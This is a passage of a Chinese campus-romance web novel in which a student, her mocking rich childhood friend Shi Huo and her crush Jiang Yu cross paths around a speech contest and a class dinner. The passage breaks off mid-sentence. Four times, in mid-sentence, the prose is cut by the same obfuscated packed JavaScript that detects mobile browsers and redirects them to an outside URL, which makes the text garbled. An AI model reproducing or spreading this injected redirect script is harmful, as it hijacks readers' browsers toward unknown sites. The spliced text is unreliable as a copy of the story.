那时候也才上初中，她正处在敏感的叛逆期，也不知道是为了什么吵起来的。在拉黑之前，她曾经骂他： “黄金矿工挖一辈子也挖不出你这么纯的神金。” 车往前开了一点距离，刚好停在便利店前，和宋清杳间隔半米的位置。 驾驶座上那人一手扶方向盘，另一只手搭在车窗外。他目光锋利，攻击性中带着风轻云淡的嘲讽，或许是艺术家们特有的孤高。 多年没见，宋清杳的语气不太确定：“徐活？” “是时活，”他偏头，展示自己高傲的下颌线，“安小诗没和你说过吗？我现在随母姓。” 时这个姓氏不常见，宋清杳马上联想到时老师，但她没有开口，也不方便多问。 他们现在的关系不像以前，说朋友不算朋友，说仇人不算仇人，只能用尴尬来形容。对方应该是讨厌她的吧？毕竟他被她拉黑了。宋清杳也不确定。 她最应付不来这种事，干脆沉默。 可时活似乎有很多话要说。 他点了一支香烟，云雾环绕在那头卷发旁，阳光为浅浅的发色镀了一层金辉。跑车艳丽的红刚好衬得他皮肤通透，搭在车窗外的大臂隐隐能瞧见青紫色的血管脉络。 偏浅的瞳色，四分之一混血的五官，让人想起希腊神话中的天使。 但那张嘴一开口，却是一股子刻薄的味道。 “哟——你们俩果然还和以前一样，遇到熟人就都变成鹌鹑。怎么，连跟我说话都不敢？” 时活的目光仿佛带着刀刃，一个个割过去。 “哦，我记得你小时候坐公交，因为不敢和车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016802|178481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门后的老师打招呼，硬是坐到老师到站之后才敢下车，然后自己走了五站地回家。对吧？” “还有你，春游的时候崴脚了死活不敢开口，等到了山顶才被老师发现，脚背肿那么老高，鞋都挤破了。啧。” 他嗤笑：“你们还真是，一点长进都没有。” 被他嘲讽的两个人心情非常不妙。 那都是多久之前的丑事了，那时候才上小学，她们自己都不记得到底是不是真的。而且就算是真的也不能代表什么，人总是会变的，她们已经长进很多了。 但是他居然能记那么清楚！可见这个人报复心之重。 他现在提起这些事，绝对不是为了叙旧。 空气中充满挑衅的火药味。 宋清杳现在想刀人的心都有，她也学对方斜斜勾起嘴角：“是啊，小时候你被别人抢了书包，哭了一天求那个人还给你。结果人家还给你之后，你哭得更厉害了，鼻涕糊了一脸，还记得吗？爱哭鬼。” 在宋清杳印象里，徐活发育晚，那时候总和女生一起站在班里第一排，他性格温吞，动不动就爱哭。 虽然烦了点，不过他小时候还蛮可爱的，至少不爱惹事，和她们相处得很好。可现在怎么会变成这样？宋清杳暗骂，果然人一旦有钱就会暴露本性。 话不投机，她拉着身边一言不发的安诗，不打招呼就要离开，往宿舍的方向走。 车子又缓缓发动，不紧不慢地跟在她们身边。 “喂，我当然记得，还是你们帮我把书包抢回来的。”时活说。 被嘲讽了一番，他的心情似乎相当不错，吐出一团烟雾，“记得我们的赌约吗，刚刚可是有五十几个人向我发送了好友申请。你们俩加起来能有这么多好友吗？” 宋清杳无语地看他，皱起鼻子往后躲了躲。 就算开车的时候，那张天使般的脸上也一直是欠欠的表情：“上来兜一圈吧，只要坐在这辆车上，你们也能收获这么多朋友。” 他说话的同时还挑了挑眉，冲她们勾一勾手指。烟雾后的目光朦胧迷离，国外的西式风格被他展现得毫不收敛。 宋清杳只当这是嘲讽。 她简单拒绝，淡淡垂眸：“不用了，我闻不惯烟味。” 也看不惯神经病。 公教三202礼堂，比赛刚刚经过了午间休息，正在继续进行。 台上的选手正在用流利的英文进行演讲，嘴里不断蹦出各种华丽词组，台下的人全神贯注地听，生怕错过某个高级词汇。 叮咚。后台准备室，有谁的手机没有静音，打断了几位正在背词的选手，引来一阵注目。 “不好意思。”姜宇向周围的人点头致歉。 他没有拿稿子，单纯坐在准备室的椅子上，悠闲地刷着朋友圈。似乎如果不是这场比赛规定了入场时间，他一定会卡在上台的最后一秒才到。 朋友圈的小红点一个接一个。姜宇人缘不错，每次比赛都有人送祝福，甚至有人提前恭喜，这并不稀奇，毕竟他每一次都会拿到奖金。 但点赞评论的序列里，始终没有那个人。 那个看上去似乎很注意他，但不回微信，不看朋友圈，也不主动和他搭话的人。 是因为他不够了解学校的橘猫吗……姜宇摩挲着下巴。 也许她不会来看他了，因为他身上有橘霸天的气味，姜宇猜。 9. 请他帮忙 绝对是报复。宋清杳回宿舍的路上就下了定义。 一开始她还心存妄想，认为徐活有可能还和小时候一样善良，只想和她们开个玩笑而已。没想到今天见到时活横空出世，才知道对方是来真的。 他开着豪车随随便便就能加到五十个好友，那安诗岂不是永远都赢不了？ 这个赌约还有什么意义？ 说起来，这事和宋清杳也有关系。 安诗从来没有得罪过时活，都是受了她的牵连。要不是她之前拉黑了时活的话，按照安诗和这小子的交情，肯定不会被他捉弄。 这两万块钱对时活来说不算什么，他打这个赌只是想看她们窘迫的样子。偏偏安诗没有退路，还会对这人的恶趣味心怀感激，毕竟确实是她撞了车。 明明时活做的还算好事，可宋清杳一想到他那副有钱就是了不起的模样，心里怎么就那么不爽呢？ 她想把票子狠狠甩到时活脸上，说谁稀罕你的臭钱。但难就难在她做不到，空有一腔愤怒。 宋清杳的目光放远，看见了拐角处渐渐出现的细高个子。对方哼着小曲，脸上一丝泄气的神态都没有出现，反而精神头十足。 “你不担心吗。”宋清杳小心地问。 安诗镇定自若：“刚刚我去了一趟保卫处，跟他们说那个开豪车的人造成了交通堵塞，而且单手开车、边开边吸烟，是很大的安全隐患。最重要的是不少人拍了视频，要是闹到网上，让大家以为富二代能在D大横行霸道就不好了。放心，以后他的车开不进学校来。” 宋清杳：…… 她默默竖了个大拇指。 安诗不经意提起：“不过你现在就要回去？” “对啊。”宋清杳点头。 她今天没课，安诗也要打工没时间陪她玩，不如回去睡觉。 随后安诗给了她一个意味深长的眼神：“可今天，姜宇有演讲比赛。” 宋清杳大惊失色：“今天姜宇有比赛？” 不知道啊。 她没听说啊。 公教三，比赛准备室。 “请问你知道这个单词怎么读吗？” 一位同学弯着腰，询问这间准备室里唯一一位看起来清闲的人。 对方的衬衫扣子没有扣好，正靠在椅子上玩手机。 听到有人求助，虽然他动都没动一下，但态度很好，起码微笑点头看了一眼。 那是一个较为简单的单词。 “不好意思同学，我不知道。”姜宇从容地转身，随手指了另一个人，“或许你可以问问这位同学，他好像知道。” 那人碰了个软钉子，也就讪讪离开，不再请教。 姜宇收回目光，手指继续敲在屏幕上。 手机又跳出来一条消息。 这次姜宇静音了，屏幕上只弹出来写着许升平名字的对话框。 许升平比较爱说话，就算只发送文字都能让人感到情绪激昂： 【哈哈哈哈哈你弟弟的车被保安劝出去了哈哈哈哈！时老师知道之后气得不行，亲自把他揪出了学校！】 【听说你弟还想花钱解决保安，幸好时老师通情达理大义灭亲，太帅了！我以后再也不喊他灭霸了哈哈哈哈】 姜宇的眼睛被吵到。 台上喊了两遍32号，他就拿起桌上的号码牌，最后发了一条消息： 【比赛了，别找我。】 宋清杳小凉鞋哒哒哒跑在小路上，她又在赶时间。 怪她早晨睡得太早，回完姜宇微信就闭上了眼睛，没发现他还发了一条朋友圈。 那是一张橘霸天的照片。 配文：公教三，202礼堂，下午两点五十，欢迎来听。 他又去比赛了，发这段文字是在欢迎谁呢……当宋清杳读到的时候，一看时间，还有三十五分钟。 直接赶过去来得及，但是洗头化妆就来不及了。 她自认为长得漂亮，但人靠衣装更靠洗头，不洗头就见人有点怪怪的。 再看了眼时间，只剩三十分钟。 于是回宿舍随便套了一条连衣裙，洗了把脸就出发。 反正以前偷偷观察姜宇的时候她也从来没打扮过，就只在台下欣赏帅哥算了。 赶到比赛现场的时候，宋清杳听到台上有人在喊32号。她缓缓推开后门，正巧是换下一位选手的时间。 趁大家都在交头接耳，宋清杳快速坐到最后一排边角的位置。 她还在调整座椅，台上就来了人，开始演讲。 她舒了口气，缓了缓。 那人说的是英式英语，发音足够清晰，但语调有点伦敦腔。 原本她不喜欢那种外国人的语调，总觉得吞音太多听不清楚。但这次不一样。 宋清杳是压着笑意抬头的，一听到声音就知道自己赶上了。她躲在人群里，看向聚光灯交汇的地方。 台上人的姿态说不出的舒展，嗓音优雅低调，娓娓道来，仿佛在讲述一个古老神秘的故事。他随着起伏的音调缓缓移动，她的目光也跟着移动。 观众席鸦雀无声，连说小话的都没有。 宋清杳脑子里一片空白，只能看见他的眼睛，别的什么也瞧不见。 那双眼睛可真是，太漂亮了。 她喜欢偷偷躲在人群里看他，这样的话，目光可以肆无忌惮地在他身上流连，看一万遍都不嫌腻。 结束之后，所有选手走出后台，成绩要等评委组商讨之后才能宣布。 观众席上嘈杂一片，很多人捧着鲜花去迎，也有送给姜宇的，但被他微微摆手拒绝掉。 宋清杳也站起来往前走了一点，还在犹豫要不要送上一句祝贺，就看到姜宇急匆匆往她这边来。 她低着头侧了侧身。姜宇的步伐没有停顿，直接擦着她的肩膀走了过去。 宋清杳转身，盯了盯对方的背影。 他没有注意到她，而且表情好像有点生气。 这次比赛明明是稳拿第一名的样子，姜宇为什么会生气。难道是他对自己的要求太高了，或者评委不喜欢英式口音？ 总不会是她今天没有洗头，他故意认不出来吧，哈哈。 宋清杳干笑两声，掏出她的绿皮自信秘籍，在最后一页写： 朋友圈说欢迎来听，实际上谁也不欢迎。 脾气有点小怪（此处要打个问号） 姜宇下台之后就打开了手机，屏幕上是同一个人发来的两条消息。 一条是： 【骗子抓住没有？要不随便填一填算了，学校在催】 另一条是： 【woc！！！你弟好像觉得是你搞的鬼，现在喊着你的名字往公教三走了】 没等公布成绩，姜宇就收拾了自己的东西离开。 走下台的时候很多人想要拦住他聊两句，他一开始还保持礼貌一个个谢绝，但这样太慢了。 看了眼时间，他干脆避免和任何人的目光对视，就算别人叫他也假装听不见。 就这样装聋作哑地往外走，终于在拥堵的人海中挤出礼堂。 等走到树荫下，姜宇算是躲开了那个人，才眯起眼睛仔细思考。 时活……这小子不好好在英国待着，突然回来是想要干什么？ 回忆在姜宇的心里翻动，半晌，他轻轻叹了口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016803|178481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，从口袋里拿出几颗薄荷糖。 宋清杳无精打采地走回宿舍，准备一觉睡到明天早晨。 不过睡觉之前，她先把群里的广告改进了一下。 【枸杞大师：豪华自信课程！心理辅导！难题万事屋！名门大师，一对一在线指导（心）你遇到难题了吗？点我试试~万一有用呢~】 这就是她想出的新的营销策略，贩卖自信的同时进行心理辅导。效果显著。她发到了五个群里，马上有新顾客加了微信，找她诉说烦恼。 普通大学生的烦恼能有什么？宋清杳耐心哄了哄，对方就好了很多。 她虽然能力有限，但胜在不收钱，只加微信。大家还以为网线对面是什么心理咨询志愿者，也不过多打扰。 现在进度： 47/3050 ……怎么感觉越努力越不幸了。 而且还引来了那个难缠的孙子。 【无冬春：真不线下见面？】 宋清杳翻了个白眼，这人简直阴魂不散。她装作看不见。 【无冬春：只要见了面，让我知道你没有骗人的话，就送你一百个新客户。】 宋清杳只是瞥了一眼，目光就黏在了屏幕上。这句话对她的吸引力不亚于潘多拉魔盒。 她试探敲出：【你说真的？】 对方马上回：【真的，人随时都可以推给你。】 这可是一百个……威力相当于一个神经病开豪车在学校里跑两圈。 可对面也是个奇奇怪怪的神经病。他这样对一个陌生人胡搅蛮缠，精神状态绝对不比时活差多少！ 线下见还是有点危险。 宋清杳咬咬牙，又问了个问题。 【枸杞大师：二百个行吗？】 …… 叮铃铃，闹钟响起。宋清杳一拍手机，从床上爬起来。 夏天早晨的风总是很凉爽，小动物的活动也最为频繁。今天食堂门口的猫不是大橘，而是那只见猫就打的恶霸，宋清杳谨慎地离远了一点。 不过她的心情依旧不错，买了瓶咖啡就去上大物课。 昨晚和安诗商量一下，今天一早对方发来消息：【你真打算去见网友了？万一是坏人呢？】 都不算是网友，应该是网敌。 宋清杳：【放心，就在学校里见面而已，出不了什么事。】 【而且我准备请人帮忙壮胆。】 宋清杳昨晚仔细想过，对方很可能是那种被很多人骗过、内心敏感多疑的小姑娘。毕竟那个人一开始的时候言辞恳切，好像真的遇到了困难，可怜兮兮的样子。 但如果对方不是小姑娘，而是个壮汉，见面之后和她发生冲突，她打不过的话，也很危险。 不过这个问题很好解决，只要叫上一个高高壮壮、战斗力强的人陪着就好。也不用战斗力真的强，只要看起来有威慑力就够了。 毕竟对方也是D大学生，而且就约在学校见面，保安大叔也不是吃素的。 如果可以，还是尽量不要起冲突，安抚好小姑娘，拿到两百个微信才是真的。 安诗马上看懂她的小心思： 【哦~要请某人帮忙了】 宋清杳嘿嘿两声，没有回应。 她和姜宇好歹是同学，加了联系方式的关系。她要是请他帮这种小忙，应该不会被拒绝的吧。 这次宋清杳到教室的时候，姜宇已经在座位上看书了。 她看了眼时间，自己没有来晚，是对方今天来得早了些。 宋清杳慢吞吞坐到他旁边，一点点拿出书和水杯，手上动作不停。 她琢磨着怎样开口更好一点。 10. 她约到姜宇了 时老师今天讲的内容略有些晦涩，为了确保大家都能跟上，他特地停下来问了三四遍能不能听懂。 而姜宇也尽职尽责地帮助老师。他把周围人的疑问都收集起来，为大家演示解题方法。 好不容易讲完一个小节，时老师布置了几道题目，喝了口水，静静坐在讲台边等大家做完。 宋清杳只用了三分钟就写好了。 上课之前先预习一遍是她的习惯，这样听课基本上没有不懂的时候。做题也看一眼就会，算是她的舒适区。 剩下的时间，她都在偷偷往姜宇的方向瞥。 对方正在答案旁一笔一划地写注释，脸上没有表情，只有对即将讲解题目的专注。这种时候宋清杳也不好突然打扰。 等了一会儿，终于给她找到一个时机。姜宇的东西掉了，他俯身去捡。 宋清杳不再等下去，她伸出手掌，试图拍一拍他的肩膀开启话题。但姜宇一抬头，她的手刚好擦到他左边的脸颊。 ……还、还挺滑的。 她迅速收回手。 想说的话瞬间哽在喉咙里。宋清杳呃了两声，说了句不好意思，然后马上别过头去，不让任何人看见她脸上的表情。 居然摸到了他的脸。她的心脏又开始打鼓，既羞涩又尴尬，说不清道不明的，氛围就这样尬住。 姜宇似乎察觉到了什么，几次往她这边看，宋清杳也刻意别过了脸。 终于，姜宇忍不住，小声问：“我身上有什么味道吗？” “啊，没有没有，”宋清杳没想到会造成这样的误会，解释得有些慌乱，“不是，你身上很香。” 她说完就后悔了，迅速反省了一下自己到底在说什么。 姜宇也没反应过来，认真地回复：“谢谢，那就好。” 然后他也愣了两秒。 不能再这样尬下去。既然开始聊天了，宋清杳也就不再扭捏，顺势把刚刚准备好的说辞拿出来。 她装作不经意地问：“学长，你的体力怎么样？” “一千米2''53''''，有什么事吗。” 姜宇回答问题总是很认真，一板一眼的。让宋清杳产生了一种，这个人可以随意调戏的错觉。 果然是老实人呐，她悄悄压住嘴角，笔尖点在桌面。 “是这样的，我遇到一点问题，可能需要一位身强体壮的男生帮忙，而你是我认识的人里最健壮的学长。” “所以，姜宇学长，你今天下午有时间吗？” 任何一个男生听到这种话，都不可能忍得住展现自己。就像问一个180以上的男生身高多少一样。 姜宇果然上钩，欣然道：“几点？” “大概四点半的时候。” 怎么是这个时间……姜宇目光闪烁，这个时间他刚好有事。 昨晚他试着把骗子约出来，终于收到对方的消息： 【枸杞大师：明天下午四点半，乒乓球馆门口，谁不来谁孙子！】 抓骗子要看运气，这次抓不到，说不定就没有机会了。 但他的同桌正在向他求助，而且点名要找身强体壮的男生。说明她遇到了自己一个人应付不来的情况。一般这种情况都会有些危险，没有人帮忙可怎么办。 姜宇往宋清杳的方向瞧，女孩粉面桃腮，眼睛亮亮的，正用期待的目光看着自己。 一边是骗子，一边是同学，孰轻孰重，他能分清。 宋清杳时刻盯着姜宇的反应，见他的眼神中闪过一丝纠结。 她马上摆手：“没事没事，如果不方便的话就算了，我找其他人也可以。” 但姜宇却用低沉的声音：“方便，我有时间。” 听到答复，宋清杳眼眉弯弯：“那我们操场见，不见不散！” 宋清杳心情不错，当大物老师问这道题谁解出来了的时候，她一连举了好几次手。回答得轻巧又漂亮，让时老帅哥赞不绝口。 她更得意了，感觉今天的灯泡都比以往更明亮。 但很快，她就体会到了什么叫乐极生悲。 企鹅收到一条消息。 【无冬春：今天有事，改时间再约吧】 下课铃声响起，老师正讲到兴头上，还在拖堂。 宋清杳坐在位置上没动，面对手机屏幕，皱紧眉头。 怎么会有这种事发生？这正常吗？ 这人怎么这样！！！都约好了，居然还反悔！不会是故意放鸽子吧？ 她一切都准备好了，连姜宇都叫上了，这可怎么办！ 诶，等一下， ……她约到姜宇了？ 宋清杳在复杂的情况下迅速陷入头脑风暴，心思一转，突然海阔天空。 她现在面临两个选择。是转头就和姜宇说自己不需要帮忙了，还是趁此机会编造个理由和他约会。 约会的话，可以像上次那样，俩人一起走回宿舍，也可以找个安静的地方聊聊天…… 正思索着，时老师终于说了下课，教室很快变得一片嘈杂。马上有人从后排的位置走上前来，喊了一声：“宋清杳。” 宋清杳还没收拾东西，就看见一个男生挤过来。 她在脑海中搜索了一下来人的名字，想起来好像是自己班的班长，郑鹏涛。 郑鹏涛半背着双肩包，匆匆告诉她：“今天下午班级聚会，就在二环那边的客来酒楼。这是班里第一次聚会，大家联络一下感情啊，可千万别迟到！” 还没说完，他就被前门的人流挤远。 宋清杳站起来问：“什么时间啊？” “五点！” 郑鹏涛喊。 完了，宋清杳缓缓坐回去。 如果五点开始聚会的话，四点半就要准备出发。那今天四点半和姜宇的约会就掰了，她的约会啊。 刚巧姜宇也还没走，他被宋清杳所在的位置挡住了路。 她赶紧背上双肩包，起身让路，看向姜宇的眼神含着歉意：“看来今天不行了，下午有班级聚会。” 姜宇顺手帮她把落下的水杯放回包里，没有抬眼：“是客来酒楼吗，我在那边也有个聚会，刚好可以顺路把你送过去。” 好巧。 宋清杳的目光莫名黏在姜宇的脸上，移不开了。 他和以往一样轻松舒展，姿态非常自然地帮她整理了一下背包飘带，然后用柔和的眼神询问她：那就这么说定了？ 宋清杳点头如大鹅。 但好像哪里怪怪的。 她感觉自己最近的运气似乎出奇地好。有时候遇到点困难，最后却总能时来运转，想法都能实现。或许是最近射手座比较走运？ 应该去买张彩票试试，宋清杳决定。 她十分愉快地接受了姜宇的提议，和他微信约定好，在地下车库见面。 下午的课上完，宋清杳整理了一下仪容仪表，特意回宿舍换了一条长裤，然后走进了学校的地下停车场。 她站在出口处等，身后的车灯越来越近，她后退两步让开，那辆车却停在了她身前。 姜宇开的是一辆造型低调的黑色奔驰，外壳看起来很新。他先下车，为宋清杳拉开了车门。 她的眼睛微微睁圆。 宋清杳猜这辆车是他租的。 关于姜宇要开车送她这件事，完全不在宋清杳的预料范围内。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016804|178481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她印象中，姜宇的家庭情况不太好。她以为他会骑一辆小电车带人，为此宋清杳还换上了方便跨坐的长裤。 毕竟学校的车辆管理很严，小电车也停在地下车库。 她没问车是怎么回事，毕竟打探别人的经济情况这种事还是太过私密。只能暂时咽下疑问。 不用她挑位置，姜宇为她打开的是副驾驶的门。宋清杳坐进去，有点不太自在。她偷看了一眼驾驶位，然后系好安全带。 车走得很平稳，空调刚好，车里放了简单的钢琴曲，没有人说话。 宋清杳又偷看了一眼。 ……他开车的样子，好不一样。 虽然在宋清杳眼里姜宇一向和别人不同，但他开车时候更是加深了这种感觉：好像在众多同龄人里，只有他格外像一个成熟的大人。 每次宋清杳躲在玻璃后、人群里、屏幕外偷看他，不论什么时候，姜宇从来都没有露出过怯弱、哭嚎、羞怒……这些不体面的神态。 偶尔会有些疲惫，但嚼两块薄荷糖之后就能迅速恢复神采，继续亲切礼貌地对待每个人。 另外有些时候，则是周围环境不大好。宋清杳记得那天，她偷偷跑到人家家门外的时候，小孩的嘶吼哭喊、男人的咆哮指责、女人的尖叫谩骂，全都汇聚在一起。她透过门缝看，处于风暴中心的姜宇却依旧安安静静。 那双漂亮的眼睛里没有半点关于愤怒或者委屈的情绪，只是淡淡的，仿佛隔绝了一切。最好是隔绝了一切。 当个大人就很好，不会因为一些烂事而伤心。 她收回目光，马上注意到自己特意穿的白裤子上好像沾了点脏东西，黑黑的。宋清杳捏起来仔细瞧，是一撮黑色的猫毛。 “抱歉。车是我朋友的，他养了猫，有点掉毛。”姜宇看后视镜的时候瞥了一眼。 原来是朋友的车，怪不得。 宋清杳的疑惑被解开，她体贴地说：“没事的，拍一拍就好了。” 有车送她，她谢谢还来不及呢。 音乐刚好放完，姜宇关掉声音，把空调风调小了些，在等红灯的时候问：“所以，你原本想找我帮忙做的事是什么？” 这个问题……宋清杳目光侧移。 让你陪我去见一个网友撑场面这种事，说起来还是太中二了。 而且对方这次放她鸽子，说不定根本就是在耍她，还不知道有没有下一次。或许已经不需要姜宇帮忙了。 她捏着猫毛：“我……原本想请你帮忙，一起抓大橘去绝育。” 可能是最近锻炼了自信的原因，借口都不用经过仔细思考，随口就能说出来。 “猫绝育需要先断食吧，”姜宇思索道，“看来今天大橘白白饿肚子了。” 宋清杳惊讶：“你还了解这个，你也喜欢猫吗。” “……喜欢。” 过了一会儿，又是一个红灯，安静的时候不说点什么不太好。 姜宇微微偏头瞧她：“大橘是不是很沉。” “也还行。”宋清杳记得大橘虽然圆了一点，但不算是学校最胖的，只是看上去毛比较蓬松。 姜宇调整了一下坐姿，语调带着调侃：“你说需要一个身强体壮的男生，我还以为它是一只非常胖的橘猫。” ！ 宋清杳没想到这一点。 “……是的！” 她话锋急转，“它特别特别沉，我一个人都抱不动。” “大概二十斤？” 宋清杳面不改色：“不止，简直像一辆卡车。” 毫无愧疚地给橘猫造谣。 大橘，反正你猫生在世也不需要名声，就让她先救救急吧。 11. 他很奇怪 安诗发消息来问：【怎么样，我就说别和那个不靠谱的网友见面吧，现在的二人世界是不是很愉快？】 【有点奇怪。】 宋清杳打字的时候微微歪头。 【他做什么奇怪的举动了？】 宋清杳的目光从屏幕上移开，又偷看一眼旁边的人，他打了一圈方向盘，正在专注地盯着后方来车。 【那倒没有，但我总感觉怪怪的。】 从今天上课的时候开始，她就觉得有点怪。不过现在脑子晕晕的没有精力思考，但还是察觉到不对劲。 直觉告诉她好像遗漏了点事情，但不知道是什么事。 纠结过后，宋清杳眼珠一转： 【我要验证一下试试。】 车子停在客来酒楼的地下停车场，姜宇拔下钥匙，和宋清杳一起下车。 他今天穿的衬衫没有挽起袖口，宽肩长腿，仪态优雅，在停车场昏暗的灯光下显得成熟挺拔。 当姜宇还在找电梯的方向时，宋清杳双手背在身后，悄悄站到他旁边。 说了一句： “对了。下次大物课，我们到后排坐吧。” 一个包含了潜台词的问题，放在游戏里可以当做陷阱来用。要是对方不聪明，可能会稀里糊涂地中计。 宋清杳略微扬起头，紧紧盯着对方的眉心。 姜宇垂头看她，眼睛眨了一下，似乎不知道这个承诺意味着什么，他笑容和煦：“好啊。” 宋清杳得寸进尺：“那你写一份大物作业给我抄，好不好？” 这次，姜宇明显迟疑了几秒，似乎因为助教这个身份而受到了某种良心上的谴责。过了一会儿，他缓缓点头：“好，我们先上去吧。” 找到了电梯指示牌，他信步向前，示意宋清杳快来。 宋清杳内心惊涛骇浪，她刻意磨磨蹭蹭，落后姜宇两步。 偏过脸，偷偷望着天花板冷静了一下。 他和她约好当同桌，还借她抄作业喽。虽然那些题目她自己都会，但是，嘿嘿，这和谈了有什么区别？ 【我好像知道哪里怪了】等电梯的时候，宋清杳悄悄打字。 【哪里？】 【之前我只是有所怀疑，但今天确定了。】宋清杳给安诗发， 【他肯定喜欢我！】 对话框里沉默的时间好似安诗的无语。 半晌，宋清杳才收到两条长消息： 【对，没错，你说的太对了。你们见面的次数还没有你看电影买爆米花的次数多，四舍五入布拉德皮特也喜欢你】 【不过很好，保持这种状态。要是在外面偷偷撩人，那就给我嘴硬到底。小心点，别让我知道你用这张漂亮的小脸蛋给人当舔狗！】 宋清杳不屑地一笑。这次她是认真的，姜宇绝对喜欢她，她一定会证明给安诗看。 电梯到了，姜宇问她去几楼。 宋清杳说四楼，她走进电梯，对方也跟着上来。 她瞥见电梯按键唯一亮着的4，然后从上到下扫视了一遍姜宇。 姜宇摸了摸脸：“怎么了，我脸上有东西吗？” 宋清杳就更确信了。 她摇头的时候背靠电梯侧壁，直面姜宇，笑道：“不用送我上去，我自己能找到包间，你快回去吧。” 姜宇顿了顿，解释道：“我……在这里也有聚会，也是四楼。” 宋清杳笑容一僵。 每当这种时候她的歪脑筋都转得特别快。在恼羞成怒之前，脱口而出的是：“上课的时候你不是说很方便，有时间吗？怎么又突然冒出来一个聚会。” 对哦。 说完之后她才猛然想起，原来一直觉得怪怪的地方就是这件事！ 上课的时候请他帮忙，他这个时间明明是空闲的，却在听到她要来聚餐之后就变成了顺路来这里聚会。 这个人的行程好像是随着她而改变的。 没错，就是这么隐晦的细节。宋清杳对自己的脑力表示赞叹，要不她聪明绝顶，根本发现不了这件事的矛盾之处！ 那么真相只有一个。 宋清杳的信心更加膨胀了。 “专门开车送我需要找这么多借口吗，姜宇学长？” 她睁大眼睛，仰头直直盯着对方，欣赏这位身材高挑的帅哥磕磕绊绊想要解释的样子。 女孩的眼睛透露着一股子狡黠的骄傲，她翘起的嘴角、两个得意的酒窝，不显轻佻，只会让人想起： 学校后山的住客小松鼠，也不知道是哪一只，总爱轻巧地捉弄树上的大笨鸟。 小松鼠说，大笨鸟大笨鸟，你是不是喜欢我。 而大笨鸟笨笨的，它说不出话，只会呆愣愣地一头栽倒。 叮。 潮热的沉默中，电梯到达四楼。 一开门，走廊右边来了一个人影，好像是奔着姜宇来的。 宋清杳就收起捉弄人的嘴脸，恢复成人模人样的大致伪装。 她很会察觉这种微妙的氛围，余光瞥见了有人来，就预感不妙。她扭头就往另一个方向走，甚至没来得及说一句再见。 刚离开几步，身后果然出现了一声：“姜宇，你来了……” 宋清杳快速闭上眼睛，全当自己耳朵听不到。 ……原来他真有聚会啊。 她默默忏悔。阿弥陀佛，这回真冤枉老实人了，罪过罪过。 不过承认错误是不可能的。 只要她嘴硬到底，尴尬就都是别人的，快乐就还是她的。 今天是第一次班级聚会，大家基本上都不怎么熟悉，除了自己的舍友之外，只偶尔听说过几个其他人的名字。 宋清杳推开门，看了一圈，只认识她的舍友谭笑。 谭笑冲她招招手，说给她留了位置。宋清杳也就默默坐过去，准备在聚餐过程中不说话只吃饭，吃完就回。 但出乎宋清杳预料的是，好像很多人都认识她。 班长郑鹏涛端着一杯酒过来，刚开始喝，脸就红了：“大美女，今天还要来一个人，你猜猜是谁？” 宋清杳抿了一口果汁，抬眼：“我认识吗？” “认识，当然认识。” 旁边有个戴眼镜的，拉住想要继续靠近的郑鹏涛，嫌弃地说：“你酒量不行，别骚扰女同学。” 戴眼镜的男生冲她笑了笑：“宋清杳，你名字真好听。这里的虾你一定要尝尝，我觉得你会喜欢。” 班长被他压着坐回椅子上，继续和旁边人喝酒聊天去了。 宋清杳不认得这人是谁，只能点头回应。她问了谭笑才知道，戴眼镜的男生是团支书，名字叫刘东。 她又问，班里的人还有谁没到吗。谭笑也摇头，对着班级群的人数数了一圈，发现一个也没少。 不知道有谁要来。但是菜上齐了，宋清杳也就不再思考这个问题。 等她吃到第六块小酥肉的时候，多出来的那个人终于到了。 周叔瑜推开门，他没喝酒，但也红着脸和大家打招呼。 生物班班长似乎是他熟人，嚷嚷着跟大家介绍这是周学长，今天这顿饭就是他请的。 周叔瑜被大家捧着夸赞大方。他在一阵恭维中看向坐着喝果汁的宋清杳，有眼色的人就开始起哄。 声音好吵，原来被别人起哄的感觉有点烦。 宋清杳揉了揉耳朵，心想姜宇的脾气还真挺好，被她那样欺负都不生气。 “清、清杳，和我出来一下吧，我们说两句话。”周叔瑜支支吾吾。 当宋清杳听到这句话的时候，没想过她将会面对一个怎样的情形。 三分钟后，她站在应急通道口，面对一个蹲在地上表白完之后哇哇大哭的壮汉，比手划脚，极力地撇清自己。 “我真不是那个意思，我真不喜欢你！” “诶你别哭啊……” 宋清杳也是现在才知道，只见过两面的周叔瑜为什么会喜欢自己。原来并不是她想的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 